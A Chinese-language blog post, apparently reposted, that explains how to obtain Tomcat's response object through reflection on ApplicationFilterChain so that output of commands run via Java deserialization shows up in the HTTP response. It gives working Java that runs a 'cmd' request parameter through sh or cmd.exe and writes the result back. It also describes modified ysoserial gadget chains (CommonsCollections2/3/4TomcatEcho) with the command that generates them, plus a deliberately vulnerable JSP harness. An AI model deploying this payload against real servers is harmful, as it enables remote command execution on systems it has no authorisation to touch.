前段時間和@lufei 大哥學習了一波linux下基于文件描述符的反序列化回顯方式的思路。
在自己實現的過程中發現,是通過IP和端口號的篩選,從而過濾出當前線程(也可以說是請求)的文件描述符,進而加入回顯的內容。
但是同時也有一個疑問,我們使用回顯的目前主要是因為一些端口的過濾,一些內外網的隔離。從而將一些無法從別的途徑傳輸的執行結果,通過http請求的方式,附加在原本的response中,從而繞過一些防護和限制。
以個人的理解,在這種情況下,大概率會有一些負載均衡在真正的服務器前面,這樣服務器中顯示的ip和端口都會是LB的信息,這種篩選的方式也就失效了。
當時的想法也是如果能直接獲取到當前請求的response變量,直接write就可以了。但是對Tomcat不是很熟悉,弄了個簡易版適配Spring的就沒后文了。
最近又在社區中看到一個師傅發了這個Linux文件描述符的回顯方式,評論處也提出了如果能直接獲取response的效果會更好,于是就開始試著找了下如何獲取tomcat的response變量。
https://xz.aliyun.com/t/7307
尋找過程
這里起的是一個spring boot,先試著往Controller里面注入一個response
為了確保我們獲取到的response對象確實是tomcat的response,我們順著堆棧一直往下。
可以發現request和response幾乎就是一路傳遞的,并且在內存中都是同一個變量(變量toString最后的數字就是當前變量的部分哈希)
這樣,就沒有問題,只要我們能獲取到這些堆棧中,任何一個類的response實例即可。
接下來就是找哪里的response變量可以被我們獲取,比較蛋疼的是,每個函數都是通過傳參的方式傳遞的response和request。
那這樣的話,在這過程中request和response有沒有在哪里被記錄過,而且為了通用性,我們只應該尋找tomcat部分的代碼,和spring相關的就可以不用看了。
而且記錄的變量不應該是一個全局變量,而應該是一個ThreadLocal,這樣才能獲取到當前線程的請求信息。而且最好是一個static靜態變量,否則我們還需要去獲取那個變量所在的實例。
順著這個思路,剛好在 org.Apache.catalina.core.ApplicationFilterChain 這個類中,找到了一個符合要求的變量。
而且很巧的是,剛好在處理我們Controller邏輯之前,有記錄request和response的動作。
雖然if條件是false,但是不要緊,我們有反射。
這樣,整體的思路大概就是
1、反射修改 ApplicationDispatcher.WRAP_SAME_OBJECT ,讓代碼邏輯走到if條件里面
2、初始化 lastServicedRequest 和 lastServicedResponse 兩個變量,默認為null
3、從 lastServicedResponse 中獲取當前請求response,并且回顯內容。
寫的過程中也學習了一下怎么通過反射修改一個private final的變量,還踩了一些坑,總之直接放上最后的代碼
Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL);
WRAP_SAME_OBJECT_FIELD.setAccessible(true);
lastServicedRequestField.setAccessible(true);
lastServicedResponseField.setAccessible(true);
ThreadLocal<ServletResponse> lastServicedResponse =
(ThreadLocal<ServletResponse>) lastServicedResponseField.get(null);
ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get(null);
boolean WRAP_SAME_OBJECT = WRAP_SAME_OBJECT_FIELD.getBoolean(null);
String cmd = lastServicedRequest != null
? lastServicedRequest.get().getParameter("cmd")
: null;
if (!WRAP_SAME_OBJECT || lastServicedResponse == null || lastServicedRequest == null) {
lastServicedRequestField.set(null, new ThreadLocal<>());
lastServicedResponseField.set(null, new ThreadLocal<>());
WRAP_SAME_OBJECT_FIELD.setBoolean(null, true);
} else if (cmd != null) {
ServletResponse responseFacade = lastServicedResponse.get();
responseFacade.getWriter();
JAVA.io.Writer w = responseFacade.getWriter();
Field responseField = ResponseFacade.class.getDeclaredField("response");
responseField.setAccessible(true);
Response response = (Response) responseField.get(responseFacade);
Field usingWriter = Response.class.getDeclaredField("usingWriter");
usingWriter.setAccessible(true);
usingWriter.set((Object) response, Boolean.FALSE);
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\a");
String output = s.hasNext() ? s.next() : "";
w.write(output);
w.flush();
}
原本Contorller代碼的邏輯是輸出input部分的內容,我們所做的就是在原本的輸出內容前面,添加cmd參數執行之后的結果。
需要刷新兩次的原因是因為第一次只是通過反射去修改值,這樣在之后的運行中就會cache我們的請求,從而也就能獲取到response。
加入ysoserial
這樣,這樣只要稍加改造一下,擦去泛型的部分,用完整的類名代替原本的類名,就可以放入到ysoserial中。
中間莫名又踩了一些坑,嫌麻煩的師傅可以直接用已經改好的版本。
https://github.com/kingkaki/ysoserial
ysoserial的第二個參數是要執行的命令,由于這里可以直接從request獲取,自由度更大,所以我將第二個參數改成了要執行的命令的param。
以 CommonsCollections2 為例,如下的方式就相當于創建了一個從cmd參數獲取要執行的命令的payload。
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2TomcatEcho cmd
測試一下別的tomcat環境,以jsp為例,確保有 commons-collections4 的依賴
然后自己構造一個反序列化的環境
<%
try {
String input = request.getParameter("input");
byte[] b = new sun.misc.BASE64Decoder().decodeBuffer(input);
java.io.ObjectInputStream ois = new java.io.ObjectInputStream(new java.io.ByteArrayInputStream(b));
ois.readObject();
} catch (Exception e) {
e.printStackTrace();
}
%>
可以看到內容成功的追加到了輸出的body中。
一些局限性
回到標題,為什么是一個半通用的方法呢?
當時構造好了之后興匆匆的跑了一波shiro的反序列化,死活不成功,debug了很久之后發現了一個問題。
shiro的rememberMe功能,其實是shiro自己實現的一個filter
在 org.apache.catalina.core.ApplicationFilterChain 的 internalDoFilter 中(省略一些無用的代碼)
if (pos < n) {
ApplicationFilterConfig filterConfig = filters[pos++];
try {
Filter filter = filterConfig.getFilter();
...
filter.doFilter(request, response, this);
} catch (...)
...
}
return;
}
// We fell off the end of the chain -- call the servlet instance
try {
if (ApplicationDispatcher.WRAP_SAME_OBJECT) {
lastServicedRequest.set(request);
lastServicedResponse.set(response);
}
if (request.isAsyncSupported() && !servletSupportsAsync) {
request.setAttribute(Globals.ASYNC_SUPPORTED_ATTR,
Boolean.FALSE);
}
// Use potentially wrapped request from this point
if (...){
...
} else {
servlet.service(request, response);
}
} catch (...) {
...
} finally {
...
}
可以看到是先取出所有的的filter對當前請求進行攔截,通過之后,再進行cache request,再從 servlet.service(request, response) 進入jsp的邏輯代碼。
rememberMe功能就是ShiroFilter的一個模塊,這樣的話在這部分邏輯中執行的代碼,還沒進入到cache request的操作中,此時的cache內容就是空,從而也就獲取不到我們想要的response。
最后
ysoserial中所有用 createTemplatesImpl 生成payload的鏈都已加入了Tomcat回顯的模式。
https://github.com/kingkaki/ysoserial
- CommonsCollections2TomcatEcho
- CommonsCollections3TomcatEcho
- CommonsCollections4TomcatEcho
感覺也不僅限于反序列化吧,一些擁有java代碼執行的場景都通過這種方式,實現Tomcat的回顯。
比較蛋疼的一點就是一些filter中執行的代碼不適用,就很可能不適用于很多框架型的漏洞,但是對于開發任人員寫的Controller中的場景應該都是可以的。
技術比較菜,如果有師傅發現了更好的利用方式,或者一些文章中的疏漏,都可以一起探討。
來源:https://www.tuicool.com/articles/ymAnErB